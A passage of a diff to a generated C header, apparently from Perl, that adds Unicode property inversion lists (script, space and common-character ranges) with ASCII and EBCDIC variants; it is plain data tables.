+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB3,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1AA7,
+	0x1AA8,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2118,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA67F,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF5,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_XPEO_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D6
+};
+
+static const UV PL_XSUX_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544
+};
+
+static const UV PL_YI_invlist[] = { /* for all charsets */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x3001,
+	0x3003,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x30FB,
+	0x30FC,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xFF61,
+	0xFF66
+};
+
+static const UV PL_YIJING_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4DC0,
+	0x4E00
+};
+
+static const UV PL_YIRADICALS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA490,
+	0xA4D0
+};
+
+static const UV PL_YISYLLABLES_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA000,
+	0xA490
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_Z_invlist[] = { /* for ASCII/Latin1 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x21,
+	0xA0,
+	0xA1,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_Z_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_Z_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x2028,
+	0x202A,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_ZANB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11A00,
+	0x11A48
+};
+
+static const UV PL_ZL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2028,
+	0x2029
+};
+
+static const UV PL_ZP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2029,
+	0x202A
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_ZS_invlist[] = { /* for ASCII/Latin1 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x21,
+	0xA0,
+	0xA1,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_ZS_invlist[] = { /* for EBCDIC 1047 */
 	13,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x81,
-	0x87,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_ZS_invlist[] = { /* for EBCDIC 037 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_ZYYY_invlist[] = { /* for ASCII/Latin1 */
+	276,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x605,
+	0x606,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0xE3F,
+	0xE40,
+	0xFD5,
+	0xFD9,
+	0x16EB,
+	0x16EE,
+	0x2000,
+	0x200C,
+	0x200E,
+	0x2065,
+	0x2066,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20C0,
+	0x2100,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0x2E4A,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3001,
+	0x3004,
+	0x3005,
+	0x3012,
+	0x3013,
+	0x3020,
+	0x3021,
+	0x3036,
+	0x3037,
+	0x3248,
+	0x3260,
+	0x327F,
+	0x3280,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3371,
+	0x337B,
+	0x3380,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xAB5B,
+	0xAB5C,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE45,
+	0xFE47,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF61,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10190,
+	0x1019C,
+	0x101D0,
+	0x101FD,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D300,
+	0x1D357,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */
+	302,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
 	0xC1,
-	0xC7,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
 	0xF0,
-	0xFA,
-	0xFF10,
-	0xFF1A,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2E0,
+	0x2E5,
+	0x2EA,
+	0x2EC,
+	0x300,
+	0x374,
+	0x375,
+	0x37E,
+	0x37F,
+	0x385,
+	0x386,
+	0x387,
+	0x388,
+	0x605,
+	0x606,
+	0x6DD,
+	0x6DE,
